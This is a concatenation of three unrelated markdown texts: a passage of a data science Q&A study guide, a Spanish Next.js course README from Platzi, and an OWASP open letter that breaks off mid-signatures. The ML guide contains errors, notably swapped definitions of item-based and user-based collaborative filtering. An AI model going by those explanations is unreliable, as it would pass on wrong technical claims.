Nonparametric](#parametric-vs-nonparametric) * [Recommender System](#recommender-system) ### Project Workflow Given a data science / machine learning project, what steps should we follow? Here's how I would tackle it: * **Specify business objective.** Are we trying to win more customers, achieve higher satisfaction, or gain more revenues? * **Define problem.** What is the specific gap in your ideal world and the real one that requires machine learning to fill? Ask questions that can be addressed using your data and predictive modeling (ML algorithms). * **Create a common sense baseline.** But before you resort to ML, set up a baseline to solve the problem as if you know zero data science. You may be amazed at how effective this baseline is. It can be as simple as recommending the top N popular items or other rule-based logic. This baseline can also server as a good benchmark for ML algorithms. * **Review ML literatures.** To avoid reinventing the wheel and get inspired on what techniques / algorithms are good at addressing the questions using our data. * **Set up a single-number metric.** What it means to be successful - high accuracy, lower error, or bigger AUC - and how do you measure it? The metric has to align with high-level goals, most often the success of your business. Set up a single-number against which all models are measured. * **Do exploratory data analysis (EDA).** Play with the data to get a general idea of data type, distribution, variable correlation, facets etc. This step would involve a lot of plotting. * **Partition data.** Validation set should be large enough to detect differences between the models you are training; test set should be large enough to indicate the overall performance of the final model; training set, needless to say, the larger the merrier. * **Preprocess.** This would include data integration, cleaning, transformation, reduction, discretization and more. * **Engineer features.** Coming up with features is difficult, time-consuming, requires expert knowledge. Applied machine learning is basically feature engineering. This step usually involves feature selection and creation, using domain knowledge. Can be minimal for deep learning projects. * **Develop models.** Choose which algorithm to use, what hyperparameters to tune, which architecture to use etc. * **Ensemble.** Ensemble can usually boost performance, depending on the correlations of the models/features. So it’s always a good idea to try out. But be open-minded about making tradeoff - some ensemble are too complex/slow to put into production. * **Deploy model.** Deploy models into production for inference. * **Monitor model.** Monitor model performance, and collect feedbacks. * **Iterate.** Iterate the previous steps. Data science tends to be an iterative process, with new and improved models being developed over time.  [back to top](#data-science-question-answer) ### Cross Validation Cross-validation is a technique to evaluate predictive models by partitioning the original sample into a training set to train the model, and a validation set to evaluate it. For example, a k-fold cross validation divides the data into k folds (or partitions), trains on each k-1 fold, and evaluate on the remaining 1 fold. This results to k models/evaluations, which can be averaged to get a overall model performance.  [back to top](#data-science-question-answer) ### Feature Importance * In linear models, feature importance can be calculated by the scale of the coefficients * In tree-based methods (such as random forest), important features are likely to appear closer to the root of the tree. We can get a feature's importance for random forest by computing the averaging depth at which it appears across all trees in the forest. [back to top](#data-science-question-answer) ### Mean Squared Error vs. Mean Absolute Error * **Similarity**: both measure the average model prediction error; range from 0 to infinity; the lower the better * Mean Squared Error (MSE) gives higher weights to large error (e.g., being off by 10 just MORE THAN TWICE as bad as being off by 5), whereas Mean Absolute Error (MAE) assign equal weights (being off by 10 is just twice as bad as being off by 5) * MSE is continuously differentiable, MAE is not (where y_pred == y_true) [back to top](#data-science-question-answer) ### L1 vs L2 regularization * **Similarity**: both L1 and L2 regularization **prevent overfitting** by shrinking (imposing a penalty) on the coefficients * **Difference**: L2 (Ridge) shrinks all the coefficient by the same proportions but eliminates none, while L1 (Lasso) can shrink some coefficients to zero, performing variable selection. * **Which to choose**: If all the features are correlated with the label, ridge outperforms lasso, as the coefficients are never zero in ridge. If only a subset of features are correlated with the label, lasso outperforms ridge as in lasso model some coefficient can be shrunken to zero. * In Graph (a), the black square represents the feasible region of the L1 regularization while graph (b) represents the feasible region for L2 regularization. The contours in the plots represent different loss values (for the unconstrained regression model ). The feasible point that minimizes the loss is more likely to happen on the coordinates on graph (a) than on graph (b) since graph (a) is more **angular**. This effect amplifies when your number of coefficients increases, i.e. from 2 to 200. The implication of this is that the L1 regularization gives you sparse estimates. Namely, in a high dimensional space, you got mostly zeros and a small number of non-zero coefficients.  [back to top](#data-science-question-answer) ### Correlation vs Covariance * Both determine the relationship and measure the dependency between two random variables * Correlation is when the change in one item may result in the change in the another item, while covariance is when two items vary together (joint variability) * Covariance is nothing but a measure of correlation. On the contrary, correlation refers to the scaled form of covariance * Range: correlation is between -1 and +1, while covariance lies between negative infinity and infinity. [back to top](#data-science-question-answer) ### Would adding more data address underfitting Underfitting happens when a model is not complex enough to learn well from the data. It is the problem of model rather than data size. So a potential way to address underfitting is to increase the model complexity (e.g., to add higher order coefficients for linear model, increase depth for tree-based methods, add more layers / number of neurons for neural networks etc.) [back to top](#data-science-question-answer) ### Activation Function For neural networks * Non-linearity: ReLU is often used. Use Leaky ReLU (a small positive gradient for negative input, say, `y = 0.01x` when x < 0) to address dead ReLU issue * Multi-class: softmax * Binary: sigmoid * Regression: linear [back to top](#data-science-question-answer) ### Bagging To address overfitting, we can use an ensemble method called bagging (bootstrap aggregating), which reduces the variance of the meta learning algorithm. Bagging can be applied to decision tree or other algorithms. Here is a [great illustration](http://scikit-learn.org/stable/auto_examples/ensemble/plot_bias_variance.html#sphx-glr-auto-examples-ensemble-plot-bias-variance-py) of a single estimator vs. bagging.  * Bagging is when samlping is performed *with* replacement. When sampling is performed *without* replacement, it's called pasting. * Bagging is popular due to its boost for performance, but also due to that individual learners can be trained in parallel and scale well * Ensemble methods work best when the learners are as independent from one another as possible * Voting: soft voting (predict probability and average over all individual learners) often works better than hard voting * out-of-bag instances can act validation set for bagging [back to top](#data-science-question-answer) ### Stacking * Instead of using trivial functions (such as hard voting) to aggregate the predictions from individual learners, train a model to perform this aggregation * First split the training set into two subsets: the first subset is used to train the learners in the first layer * Next the first layer learners are used to make predictions (meta features) on the second subset, and those predictions are used to train another models (to obtain the weigts of different learners) in the second layer * We can train multiple models in the second layer, but this entails subsetting the original dataset into 3 parts  [back to top](#data-science-question-answer) ### Generative vs discriminative * Discriminative algorithms model *p(y|x; w)*, that is, given the dataset and learned parameter, what is the probability of y belonging to a specific class. A discriminative algorithm doesn't care about how the data was generated, it simply categorizes a given example * Generative algorithms try to model *p(x|y)*, that is, the distribution of features given that it belongs to a certain class. A generative algorithm models how the data was generated. > Given a training set, an algorithm like logistic regression or > the perceptron algorithm (basically) tries to find a straight line—that is, a > decision boundary—that separates the elephants and dogs. Then, to classify > a new animal as either an elephant or a dog, it checks on which side of the > decision boundary it falls, and makes its prediction accordingly. > Here’s a different approach. First, looking at elephants, we can build a > model of what elephants look like. Then, looking at dogs, we can build a > separate model of what dogs look like. Finally, to classify a new animal, we > can match the new animal against the elephant model, and match it against > the dog model, to see whether the new animal looks more like the elephants > or more like the dogs we had seen in the training set. [back to top](#data-science-question-answer) ### Parametric vs Nonparametric * A learning model that summarizes data with a set of parameters of fixed size (independent of the number of training examples) is called a parametric model. * A model where the number of parameters is not determined prior to training. Nonparametric does not mean that they have no parameters. On the contrary, nonparametric models (can) become more and more complex with an increasing amount of data. [back to top](#data-science-question-answer) ### Recommender System * I put recommend system here since technically it falls neither under supervised nor unsupervised learning * A recommender system seeks to predict the 'rating' or 'preference' a user would give to items and then recommend items accordingly * Content based recommender systems recommends items similar to those a given user has liked in the past, based on either explicit (ratings, like/dislike button) or implicit (viewed/finished an article) feedbacks. Content based recommenders work solely with the past interactions of a given user and do not take other users into consideration. * Collaborative filtering is based on past interactions of the whole user base. There are two Collaborative filtering approaches: **item-based** or **user-based** - item-based: for user u, a score for an unrated item is produced by combining the ratings of users similar to u. - user-based: a rating (u, i) is produced by looking at the set of items similar to i (interaction similarity), then the ratings by u of similar items are combined into a predicted rating * In recommender systems traditionally matrix factorization methods are used, although we recently there are also deep learning based methods * Cold start and sparse matrix can be issues for recommender systems * Widely used in movies, news, research articles, products, social tags, music, etc.  [back to top](#data-science-question-answer) ## Supervised Learning * [Linear regression](#linear-regression) * [Logistic regression](#logistic-regression) * [Naive Bayes](#naive-bayes) * [KNN](#knn) * [SVM](#svm) * [Decision tree](#decision-tree) * [Random forest](#random-forest) * [Boosting Tree](#boosting-tree) * [MLP](#mlp) * [CNN](#cnn) * [RNN and LSTM](#rnn-and-lstm) ### Linear regression * How to learn the parameter: minimize the cost function * How to minimize cost function: gradient descent * Regularization: - L1 (Lasso): can shrink certain coef to zero, thus performing feature selection - L2 (Ridge): shrink all coef with the same proportion; almost always outperforms L1 - Elastic Net: combined L1 and L2 priors as regularizer * Assumes linear relationship between features and the label * Can add polynomial and interaction features to add non-linearity  [back to top](#data-science-question-answer) ### Logistic regression * Generalized linear model (GLM) for binary classification problems * Apply the sigmoid function to the output of linear models, squeezing the target to range [0, 1] * Threshold to make prediction: usually if the output > .5, prediction 1; otherwise prediction 0 * A special case of softmax function, which deals with multi-class problems [back to top](#data-science-question-answer) ### Naive Bayes * Naive Bayes (NB) is a supervised learning algorithm based on applying [Bayes' theorem](https://en.wikipedia.org/wiki/Bayes%27_theorem) * It is called naive because it builds the naive assumption that each feature are independent of each other * NB can make different assumptions (i.e., data distributions, such as Gaussian, Multinomial, Bernoulli) * Despite the over-simplified assumptions, NB classifier works quite well in real-world applications, especially for text classification (e.g., spam filtering) * NB can be extremely fast compared to more sophisticated methods [back to top](#data-science-question-answer) ### KNN * Given a data point, we compute the K nearest data points (neighbors) using certain distance metric (e.g., Euclidean metric). For classification, we take the majority label of neighbors; for regression, we take the mean of the label values. * Note for KNN we don't train a model; we simply compute during inference time. This can be computationally expensive since each of the test example need to be compared with every training example to see how close they are. * There are approximation methods can have faster inference time by partitioning the training data into regions (e.g., [annoy](https://github.com/spotify/annoy)) * When K equals 1 or other small number the model is prone to overfitting (high variance), while when K equals number of data points or other large number the model is prone to underfitting (high bias)  [back to top](#data-science-question-answer) ### SVM * Can perform linear, nonlinear, or outlier detection (unsupervised) * Large margin classifier: using SVM we not only have a decision boundary, but want the boundary to be as far from the closest training point as possible * The closest training examples are called support vectors, since they are the points based on which the decision boundary is drawn * SVMs are sensitive to feature scaling  [back to top](#data-science-question-answer) ### Decision tree * Non-parametric, supervised learning algorithms * Given the training data, a decision tree algorithm divides the feature space into regions. For inference, we first see which region does the test data point fall in, and take the mean label values (regression) or the majority label value (classification). * **Construction**: top-down, chooses a variable to split the data such that the target variables within each region are as homogeneous as possible. Two common metrics: gini impurity or information gain, won't matter much in practice. * Advantage: simply to understand & interpret, mirrors human decision making * Disadvantage: - can overfit easily (and generalize poorly) if we don't limit the depth of the tree - can be non-robust: A small change in the training data can lead to a totally different tree - instability: sensitive to training set rotation due to its orthogonal decision boundaries  [back to top](#data-science-question-answer) ### Random forest Random forest improves bagging further by adding some randomness. In random forest, only a subset of features are selected at random to construct a tree (while often not subsample instances). The benefit is that random forest **decorrelates** the trees. For example, suppose we have a dataset. There is one very predicative feature, and a couple of moderately predicative features. In bagging trees, most of the trees will use this very predicative feature in the top split, and therefore making most of the trees look similar, **and highly correlated**. Averaging many highly correlated results won't lead to a large reduction in variance compared with uncorrelated results. In random forest for each split we only consider a subset of the features and therefore reduce the variance even further by introducing more uncorrelated trees. I wrote a [notebook](assets/bag-rf-var.ipynb) to illustrate this point. In practice, tuning random forest entails having a large number of trees (the more the better, but always consider computation constraint). Also, `min_samples_leaf` (The minimum number of samples at the leaf node)to control the tree size and overfitting. Always cross validate the parameters. [back to top](#data-science-question-answer) ### Boosting Tree **How it works** Boosting builds on weak learners, and in an iterative fashion. In each iteration, a new learner is added, while all existing learners are kept unchanged. All learners are weighted based on their performance (e.g., accuracy), and after a weak learner is added, the data are re-weighted: examples that are misclassified gain more weights, while examples that are correctly classified lose weights. Thus, future weak learners focus more on examples that previous weak learners misclassified. **Difference from random forest (RF)** * RF grows trees **in parallel**, while Boosting is sequential * RF reduces variance, while Boosting reduces errors by reducing bias **XGBoost (Extreme Gradient Boosting)** > XGBoost uses a more regularized model formalization to control overfitting, which gives it better performance [back to top](#data-science-question-answer) ### MLP A feedforward neural network of multiple layers. In each layer we can have multiple neurons, and each of the neuron in the next layer is a linear/nonlinear combination of the all the neurons in the previous layer. In order to train the network we back propagate the errors layer by layer. In theory MLP can approximate any functions.  [back to top](#data-science-question-answer) ### CNN The Conv layer is the building block of a Convolutional Network. The Conv layer consists of a set of learnable filters (such as 5 * 5 * 3, width * height * depth). During the forward pass, we slide (or more precisely, convolve) the filter across the input and compute the dot product. Learning again happens when the network back propagate the error layer by layer. Initial layers capture low-level features such as angle and edges, while later layers learn a combination of the low-level features and in the previous layers and can therefore represent higher level feature, such as shape and object parts.  [back to top](#data-science-question-answer) ### RNN and LSTM RNN is another paradigm of neural network where we have difference layers of cells, and each cell not only takes as input the cell from the previous layer, but also the previous cell within the same layer. This gives RNN the power to model sequence.  This seems great, but in practice RNN barely works due to exploding/vanishing gradient, which is cause by a series of multiplication of the same matrix. To solve this, we can use a variation of RNN, called long short-term memory (LSTM), which is capable of learning long-term dependencies. The math behind LSTM can be pretty complicated, but intuitively LSTM introduce * input gate * output gate * forget gate * memory cell (internal state) LSTM resembles human memory: it forgets old stuff (old internal state * forget gate) and learns from new input (input node * input gate)  [back to top](#data-science-question-answer) ## Unsupervised Learning * [Clustering](#clustering) * [Principal Component Analysis](#principal-component-analysis) * [Autoencoder](#autoencoder) * [Generative Adversarial Network](#generative-adversarial-network) ### Clustering * Clustering is a unsupervised learning algorithm that groups data in such a way that data points in the same group are more similar to each other than to those from other groups * Similarity is usually defined using a distance measure (e.g, Euclidean, Cosine, Jaccard, etc.) * The goal is usually to discover the underlying structure within the data (usually high dimensional) * The most common clustering algorithm is K-means, where we define K (the number of clusters) and the algorithm iteratively finds the cluster each data point belongs to [scikit-learn](http://scikit-learn.org/stable/modules/clustering.html) implements many clustering algorithms. Below is a comparison adopted from its page.  [back to top](#data-science-question-answer) ### Principal Component Analysis * Principal Component Analysis (PCA) is a dimension reduction technique that projects the data into a lower dimensional space * PCA uses Singular Value Decomposition (SVD), which is a matrix factorization method that decomposes a matrix into three smaller matrices (more details of SVD [here](https://en.wikipedia.org/wiki/Singular-value_decomposition)) * PCA finds top N principal components, which are dimensions along which the data vary (spread out) the most. Intuitively, the more spread out the data along a specific dimension, the more information is contained, thus the more important this dimension is for the pattern recognition of the dataset * PCA can be used as pre-step for data visualization: reducing high dimensional data into 2D or 3D. An alternative dimensionality reduction technique is [t-SNE](https://lvdmaaten.github.io/tsne/) Here is a visual explanation of PCA  [back to top](#data-science-question-answer) ### Autoencoder * The aim of an autoencoder is to learn a representation (encoding) for a set of data * An autoencoder always consists of two parts, the encoder and the decoder. The encoder would find a lower dimension representation (latent variable) of the original input, while the decoder is used to reconstruct from the lower-dimension vector such that the distance between the original and reconstruction is minimized * Can be used for data denoising and dimensionality reduction  ### Generative Adversarial Network * Generative Adversarial Network (GAN) is an unsupervised learning algorithm that also has supervised flavor: using supervised loss as part of training * GAN typically has two major components: the **generator** and the **discriminator**. The generator tries to generate "fake" data (e.g, images or sentences) that fool the discriminator into thinking that they're real, while the discriminator tries to distinguish between real and generated data. It's a fight between the two players thus the name adversarial, and this fight drives both sides to improve until "fake" data are indistinguishable from the real data * How does it work, intuitively - The generator takes a **random** input and generates a sample of data - The discriminator then either takes the generated sample or a real data sample, and tries to predict whether the input is real or generated (i.e., solving a binary classification problem) - Given a truth score range of [0, 1], ideally the we'd love to see discriminator give low score to generated data but high score to real data. On the other hand, we also wanna see the generated data fool the discriminator. And this paradox drives both sides become stronger * How does it work, from a training perspective - Without training, the generator creates 'garbage' data only while the discriminator is too 'innocent' to tell the difference between fake and real data - Usually we would first train the discriminator with both real (label 1) and generated data (label 0) for N epochs so it would have a good judgement of what is real vs. fake - Then we **set the discriminator non-trainable**, and train the generator. Even though the discriminator is non-trainable at this stage, we still use it as a classifier so that **error signals can be back propagated and therefore enable the generator to learn** - The above two steps would continue in turn until both sides cannot be improved further * Here are some [tips and tricks to make GANs work](https://github.com/soumith/ganhacks) * One Caveat is that the **adversarial part is only auxiliary: The end goal of using GAN is to generate data that even experts cannot tell if it's real or fake**  [back to top](#data-science-question-answer) ## Reinforcement Learning [TODO] ## Natural Language Processing * [Tokenization](#tokenization) * [Stemming and lemmatization](#stemming-and-lemmatization) * [N-gram](#ngram) * [Bag of Words](#bag-of-words) * [word2vec](#word2vec) ### Tokenization * Tokenization is the process of converting a sequence of characters into a sequence of tokens * Consider this example: `The quick brown fox jumped over the lazy dog`. In this case each word (separated by space) would be a token * Sometimes tokenization doesn't have a definitive answer. For instance, `O'Neill` can be tokenized to `o` and `neill`, `oneill`, or `o'neill`. * In some cases tokenization requires language-specific knowledge. For example, it doesn't make sense to tokenize `aren't` into `aren` and `t` * For a more detailed treatment of tokenization please check [here](https://nlp.stanford.edu/IR-book/html/htmledition/tokenization-1.html) [back to top](#data-science-question-answer) ### Stemming and lemmatization * The goal of both stemming and lemmatization is to reduce inflectional forms and sometimes derivationally related forms of a word to a common base form * Stemming usually refers to a crude heuristic process that chops off the ends of words * Lemmatization usually refers to doing things properly with the use of a vocabulary and morphological analysis of words * If confronted with the token `saw`, stemming might return just `s`, whereas lemmatization would attempt to return either `see` or `saw` depending on whether the use of the token was as a verb or a noun * For a more detailed treatment please check [here](https://nlp.stanford.edu/IR-book/html/htmledition/stemming-and-lemmatization-1.html) [back to top](#data-science-question-answer) ### N gram * n-gram is a contiguous sequence of n items from a given sample of text or speech * An n-gram of size 1 is referred to as a "unigram"; size 2 is a "bigram" size 3 is a "trigram". Larger sizes are sometimes referred to by the value of n in modern language, e.g., "four-gram", "five-gram", and so on. * Consider this example: `The quick brown fox jumped over the lazy dog.` - bigram would be `the quick`, `quick brown`, `brown fox`, ..., i.e, every two consecutive words (or tokens) - trigram would be `the quick brown`, `quick brown fox`, `brown fox jumped`, ..., i.e., every three consecutive words (or tokens) * ngram model models sequence, i.e., predicts next word (n) given previous words (1, 2, 3, ..., n-1) * multiple gram (bigram and above) captures **context** * to choose n in n-gram requires experiments and making tradeoff between stability of the estimate against its appropriateness. Rule of thumb: trigram is a common choice with large training corpora (millions of words), whereas a bigram is often used with smaller ones. * n-gram can be used as features for machine learning and downstream NLP tasks [back to top](#data-science-question-answer) ### Bag of Words * Why? Machine learning models cannot work with raw text directly; rather, they take numerical values as input. * Bag of words (BoW) builds a **vocabulary** of all the unique words in our dataset, and associate a unique index to each word in the vocabulary * It is called a "bag" of words, because it is a representation that completely ignores the order of words * Consider this example of two sentences: (1) `John likes to watch movies, especially horor movies.`, (2) `Mary likes movies too.` We would first build a vocabulary of unique words (all lower cases and ignoring punctuations): `[john, likes, to, watch, movies, especially, horor, mary, too]`. Then we can represent each sentence using term frequency, i.e, the number of times a term appears. So (1) would be `[1, 1, 1, 1, 2, 1, 1, 0, 0]`, and (2) would be `[0, 1, 0, 0, 1, 0, 0, 1, 1]` * A common alternative to the use of dictionaries is the [hashing trick](https://en.wikipedia.org/wiki/Feature_hashing), where words are directly mapped to indices with a hashing function * As the vocabulary grows bigger (tens of thousand), the vector to represent short sentences / document becomes sparse (almost all zeros) [back to top](#data-science-question-answer) ### word2vec * Shallow, two-layer neural networks that are trained to construct linguistic context of words * Takes as input a large corpus, and produce a vector space, typically of several hundred dimension, and each word in the corpus is assigned a vector in the space * The key idea is **context**: words that occur often in the same context should have same/opposite meanings. * Two flavors - continuous bag of words (CBOW): the model predicts the current word given a window of surrounding context words - skip gram: predicts the surrounding context words using the current word  [back to top](#data-science-question-answer) ## System * [Cron job](#cron-job) * [Linux](#linux) ### Cron job The software utility **cron** is a **time-based job scheduler** in Unix-like computer operating systems. People who set up and maintain software environments use cron to schedule jobs (commands or shell scripts) to run periodically at fixed times, dates, or intervals. It typically automates system maintenance or administration -- though its general-purpose nature makes it useful for things like downloading files from the Internet and downloading email at regular intervals.  Tools: * [Apache Airflow](https://airflow.apache.org/) [back to top](#data-science-question-answer) ### Linux Using **Ubuntu** as an example. * Become root: `sudo su` * Install package: `sudo apt-get install <package>` [back to top](#data-science-question-answer) Confession: some images are adopted from the internet without proper credit. If you are the author and this would be an issue for you, please let me know.

<p align="center"> <a href="https://platzi.com/cursos/next-2020/" target="_blank"> <img alt="Curso de Next.js" src="https://static.platzi.com/media/achievements/badge-nextjs-2259fc68-f86b-486e-bc09-95311a887985.png" width="60" /> </a> </p> <h1 align="center"> Proyecto del Curso: Next.js </h1> <p align="center"> <a href="https://platzi-avo.vercel.app/" target="_blank"> https://platzi-avo.vercel.app/ </a> </p> [Curso de Next.js](https://platzi.com/cursos/next-2020/) dictado por [@jonalvarezz](https://twitter.com/jonalvarezz) para [Platzi](https://platzi.com) * [Cómo trabajar en este proyecto?](#-cómo-trabajar-en-este-proyecto) * [Guía rápida](#-gu%C3%ADa-rápida) * [Logros](#-logros) * [Encontraste un error o mejora?](#-encontraste-un-error-o-mejora) ### 🔎 Cómo trabajar en este proyecto? El curso es totalmente práctico y progresivo. Este repositorio solo existe como una guía para cuando lo necesites. Puedes realizar todo el curso en tu propio proyecto y tu propio repositorio. Avanzamos en el curso a un nuevo tema y no puedes o no quieres completar los cambios anteriores para continuar? Empieza desde la etiqueta git correspondiente al módulo del curso. 1. Actualiza la información de las etiquetas: > Anteriormente debiste clonar este repositorio tal como lo hicimos en clase. ```sh git fetch --tags ``` 1. Lista las etiquetas disponibles: ```sh git tag ``` Deberías ver algo como: ```sh 1-lo-basico 2-inicio-api 3-api ... ``` 1. Inicia un nuevo branch desde el punto que desees: ```sh git checkout -b el-nombre-de-mi-branch etiqueta-elegida # Por ejemplo, para iniciar desde el módulo 4-javascript git checkout -b jonalvarezz-javascript 4-javascript ``` Eso es todo, ya puedes iniciar con todos los cambios incluidos hasta ese módulo. En la [sección Tags de GitHub](https://github.com/jonalvarezz/platzi-optimizacion-web/tags), encuentras más información de cada etiqueta. #### Bonus: Cómo subo mis cambios a otro repositorio? Git permite manejar varios repositorios remotos en una misma copia local. [Aquí encuentras más información](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) y te dejaré el cheatsheet a continuación: ```sh # Crea tu nuevo repositorio en GitHub/GitLab/otro. # Asumamos la URL es [email protected]:jonalvarezz/mi-repo-mas-bello.git # Agrega el nuevo remote git remote add mi-repo [email protected]:jonalvarezz/mi-repo-mas-bello.git # Para push git push mi-repo branch-a-hacer-push # Para pull git pull mi-repo branch-a-hacer-push ``` ### 🤖 Guía Rápida 1. **Empieza a desarrollar.** Instala dependencias ```sh yarn ``` Inicia el proyecto ```sh yarn dev ``` El sitio estará disponible en http://localhost:3000. ### 🚀 Logros 1. Creación del proyecto 1. Agrego una ruta básica 1. Agrego una ruta dinámica 1. Enlazo páginas y creo una SPA 1. Agrega nuestra propia API 1. Páginas usando nuestra propia API 1. Crea components App and Document personalizados 1. Configura path aliases 1. Crea páginas y componentes UI para el sitio 1. Crea Store simple usando Context ### 🐞 Encontraste un error o mejora? Ayuda a otros estudiantes con eso que acabas de descubrir que haría este curso y repositorio mucho mejor. * En [Issues](https://github.com/jonalvarezz/platzi-optimizacion-web/issues/new) puedes reportar errores, agregar sugerencias y comentarios. * Por su parte, los [Pull Request](https://github.com/jonalvarezz/platzi-optimizacion-web/pulls) siempre estarán abiertos para recibir mejoras puntuales. Happy hacking!

# OWASP needs to evolve To the [OWASP Board of Directors](https://owasp.org/www-board/) and the Executive Director of the OWASP Foundation, [OWASP](https://owasp.org/) was first set up over two decades ago. The Internet, the way we build software, and the security industry, has changed so much that those days are hardly recognizable today. As a group of OWASP flagship project leaders and lifelong contributors, we believe that OWASP hasn't kept pace and evolved to support the needs of important parts of our community today, especially our flagship projects. What worked in the past simply isn’t working now and OWASP needs to change. We have written and published this open letter, knowing that other parts of the community also support our concerns, and are asking the OWASP Board of Directors to take action. Year after year, concerns have been raised and there have been promises of change, but year after year it hasn't happened. The gap between what our projects and the community around them want, and the support that OWASP provides, continues to grow wider. Today, many projects operate independently, in some cases managing their own sponsorships, finance, websites, domains, communication platforms, and developer tools. Projects still operate on a best-efforts model that relies on a few individuals working in their spare time. While admirable, these are projects that, as they have grown, are now relied on by thousands of companies and hundreds of thousands of security professionals and that have many millions of downloads each year. We don’t want to become commercial open-core businesses, but do want to be able to create, and sustain commercial quality open-source projects. Without active world class projects, OWASP doesn’t have a unique selling point and projects need constant guidance, mentoring, and investment for them to grow and keep the brand where it should be: First and foremost for all things application security. There are five key areas that we feel if not addressed immediately, will result in important projects, like ours, leaving OWASP in search of, or creating a community that better meets their needs. We don’t want that to happen. 1. The Foundation should publish and maintain a community plan that should include its prioritized key project initiatives, along with a suitable funding plan to support them. The [OSSF plan](https://openssf.org/oss-security-mobilization-plan/) is a useful example to reference. 1. The Foundation’s governance structure should better reflect the needs of the entire security community, increasing access and participation for corporate practitioners, governments, major sponsors, and key technology providers. We believe this can be achieved with vendor independence and is particularly necessary to attract financial sponsorship and key industry partnerships. 1. The Foundation’s funding should reflect the needs of our and other flagship projects to both sustain and improve them. We believe this would likely be in the region of five to ten million dollars per year for our projects alone. The money would be used to pay for dedicated developers, community managers, and other support staff. We would like to work with the foundation to develop project by project plans. 1. The Foundation should provide improved infrastructure and services to the community so that projects can focus on the projects themselves. 1. The Foundation should actively manage the project portfolio and local chapters, ensuring that the community is always reflected in the best possible light and that we are able to attract and retain the best talent for the community. A plan, leadership, active community management, mentoring, and better tooling are all needed. This letter is written with positive intent and we believe is in the best interests of the OWASP community and those that rely on it. We appreciate that this is a change from how OWASP operates today, but have conviction that OWASP is at a tipping point and needs to evolve now. We all want to be part of the OWASP community and for it to continue to be successful in the decades to come. We ask that you respond within 30 days, with a plan of action to address the five points above. Yours truly, Simon Bennetts, [OWASP ZAP](https://www.zaproxy.org) founder and co-project leader, [OWASP VWAD](https://owasp.org/vwad) co-project leader<br> Ricardo Pereira, [OWASP ZAP](https://www.zaproxy.org) co-project leader<br> Glenn ten Cate, [Security Knowledge Framework](https://www.securityknowledgeframework.org) founder and co-project leader & OWASP Board Member<br> Akshath Kothari, [OWASP ZAP](https://www.zaproxy.org) core team member<br> Mark Curphey, OWASP founder and 2023 board member<br> Daniel Cuthbert, [OWASP ASVS](https://github.com/owasp/asvs)<br> Sebastien Deleersnyder, [OWASP SAMM](https://www.owaspsamm.org) co-project leader and [OWASP Threat Modeling Playbook (OTMP)](https://owasp.org/www-project-threat-modeling-playbook/) founder and project leader<br> Bart De Win, [OWASP SAMM](https://www.owaspsamm.org) co-project leader<br> Maxim Baele, [OWASP SAMM](https://www.owaspsamm.org) core team member<br> Rick Mitchell, [OWASP ZAP](https://www.zaproxy.org) co-project leader, [OWASP Web Security Testing Guide](https://owasp.org/wstg) co-project leader, [OWASP VWAD](https://owasp.org/vwad) co-project leader<br> Steve Springett, [OWASP CycloneDX](https://www.cyclonedx.org) and [OWASP Dependency-Track](https://dependencytrack.org) founder and co-project leader<br> Patrick Dwyer, [OWASP CycloneDX](https://www.cyclonedx.org) co-project leader<br> Björn Kimminich, [OWASP Juice Shop](https://owasp-juice.shop) founder and project leader<br> Niklas Düster, [OWASP Dependency-Track](https://dependencytrack.org) co-project leader<br> Jeroen Willemsen, [OWASP WrongSecrets](https://github.com/OWASP/wrongsecrets) project leader<br> Jeremy Long, [OWASP dependency-check](https://github.com/jeremylong/DependencyCheck) founder and project lead and [OWASP Java Encoder](https://github.com/OWASP/owasp-java-encoder/) contributor<br> Cole Cornford, [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/) project lead and [OWASP XSS Prevention CheatSheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) author<br> Ben Gittins, OWASP Member and Contributor<br> Erwin Geirnaert, Creator of the first OWASP WebGoat Solutions Guide, first OWASP Top 10 for Java and part of the OWASP Community since 2000<br> Robin Wood, OWASP contributor and supporter<br> Rob Grant, OWASP contributor<br> Arkaprabha Chakraborty, OWASP contributor and [OWASP ZAP](https://www.zaproxy.org) extended team member<br> Curtis Koenig, Founding member OWASP Louisville, Former Chapter Leader OWASP Louisville, OWASP Member<br> Cláudio André, [OWASP MASTG](https://mas.owasp.org/MASTG/) Top Contributer<br> István Albert-Tóth, [OWASP CSRFGuard](https://github.com/OWASP/www-project-csrfguard) project co-lead<br> Katie Paxton-Fear, educational web security YouTuber<br> Jakub Maćkowski, OWASP contributor and [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) co-project leader<br> Somdev Sangwan, Open Source Security Tools Developer<br> Edoardo Ottavianelli, Open Source Security Tools Developer<br> Aram Hovsepyan, [OWASP SAMM](https://www.owaspsamm.org) core team member<br> Brian Glas, [OWASP Top 10](https://owasp.org/www-project-top-ten/) Co-Lead, [OWASP SAMM](https://www.owaspsamm.org) Core team member, OWASP SAMM Benchmark Co-Lead<br> Jeff Williams, OWASP Chair from 2001-2011, Creator of OWASP Top Ten, WebGoat, ESAPI, ASVS, XSS Prevention Cheatsheet, OWASP Legal, Chapters Program, OWASP Foundation, the OWASP Wiki, and more<br> Dimitar Raichev, [OWASP SAMM](https://www.owaspsamm.org) contributor & tool developer<br> Dinis Cruz, Past OWASP Board member, organiser of multiple OWASP Conferences and Summits, lead multiple OWASP projects and chapters<br> Sachin Kumar Dhaka, OWASP Jaipur Member and Budding Security Researcher<br> Jessy Ayala, OWASP Member and Contributor<br> Paul McCann, [OWASP Security Shepherd](https://github.com/OWASP/SecurityShepherd) maintainer and contributor<br> Karan Preet Singh Sasan, [Owasp VulnerableApp](https://github.com/SasanLabs/VulnerableApp) project leader and [OWASP ZAP](https://www.zaproxy.org) extended team member<br> Daniel Wood, OWASP Lifetime Member<br> Bharath, OWASP (Bangalore Chapter) Member and Contributor<br> John Viega, original OWASP advisory board member, OWASP Lifetime Member<br> Carol Valencia, Security cloud-native and open-source enthusiast<br> Jimmy Mesta, [OWASP Kubernetes Top Ten](https://owasp.org/www-project-kubernetes-top-ten/) Project Leader and Cheatsheet Contributor<br> Lewis Ardern, [OWASP Bay Area Chapter Leader (2019-2022)](https://owasp.org/www-chapter-bay-area/), and created the [What is OWASP?](https://www.youtube.com/watch?v=FqHfJGYNElg) Video<br> Alvin Smith, [OWASP Juice Shop](https://owasp-juice.shop) Contributor<br> Sven Schleier, [OWASP Mobile Application Security](http://mas.owasp.org), Co-Project Leader of OWASP MASVS and MASTG<br> Carlos Holguera, 